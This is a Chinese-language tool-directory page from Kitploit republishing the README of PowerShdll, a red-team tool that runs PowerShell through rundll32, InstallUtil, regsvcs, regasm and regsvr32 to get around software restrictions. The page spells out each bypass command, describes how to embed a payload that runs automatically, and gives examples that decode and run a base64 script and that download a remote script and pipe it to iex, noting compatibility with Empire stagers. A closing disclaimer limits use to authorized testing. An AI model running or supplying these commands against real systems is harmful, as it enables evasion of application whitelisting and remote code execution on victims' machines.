Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
PowerShdll — 使用rundll32运行PowerShell。绕过软件限制。 | Kitploit
工具/GitHubGitHub/p3nt4/powershdll
防御工具Payload生成代码分析IDS/IPS规避渗透测试红队
GitHubp3nt4/powershdll

PowerShdll

使用rundll32运行PowerShell。绕过软件限制。

查看仓库
1.8k2545年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

PowerShdll

仅使用dll运行PowerShell。

无需访问powershell.exe,因为它使用PowerShell自动化dll。

PowerShdll可通过rundll32.exe、installutil.exe、regsvcs.exe、regasm.exe、regsvr32.exe或以独立可执行文件运行。

dll模式:

Rundll32:

root@kitploit:~
Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h      Display this message
rundll32 PowerShdll,main -f <path>       Run the script passed as argument
rundll32 PowerShdll,main -w      Start an interactive console in a new window (Default)
rundll32 PowerShdll,main -i      Start an interactive console in this console
If you do not have an interractive console, use -n to avoid crashes on output

替代方案(感谢SubTee提供的这些技术):

root@kitploit:~
1. 
    x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
    x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
2. 
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll
3. 
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll
4. 
    regsvr32 /s  /u PowerShdll.dll -->Calls DllUnregisterServer
    regsvr32 /s PowerShdll.dll --> Calls DllRegisterServer

exe模式

root@kitploit:~
Usage:
PowerShdll.exe <script>
PowerShdll.exe -h      Display this message
PowerShdll.exe -f <path>       Run the script passed as argument
PowerShdll.exe -i      Start an interactive console in this console (Default)

嵌入载荷

可通过修改common.cs文件中start方法内的"payload"变量来嵌入载荷。如果嵌入了载荷,所有其他参数将被忽略,并在运行PowerShdll时执行载荷。

示例

运行base64编码脚本

root@kitploit:~
rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

注意:Empire stagers需要使用[System.Text.Encoding]::Unicode解码

下载并运行脚本

root@kitploit:~
rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;

需求

  • .Net v3.5(dll模式)
  • .Net v2.0(exe模式)

已知问题

某些错误似乎不会在输出中显示。这可能会造成困惑,例如Import-Module等命令在失败时不会输出错误信息。 请确保命令输入正确。

在dll模式下,交互模式和命令输出依赖于劫持父进程的控制台。如果父进程没有控制台,请使用-n开关以不显示输出,否则应用程序会崩溃。

由于Rundll32处理参数的方式,在开关和参数之间使用多个空格字符可能会导致问题。脚本内部的多余空格没有问题。

免责声明

本项目面向安全研究人员和渗透测试人员,仅应在系统所有者批准的情况下使用。

下载工具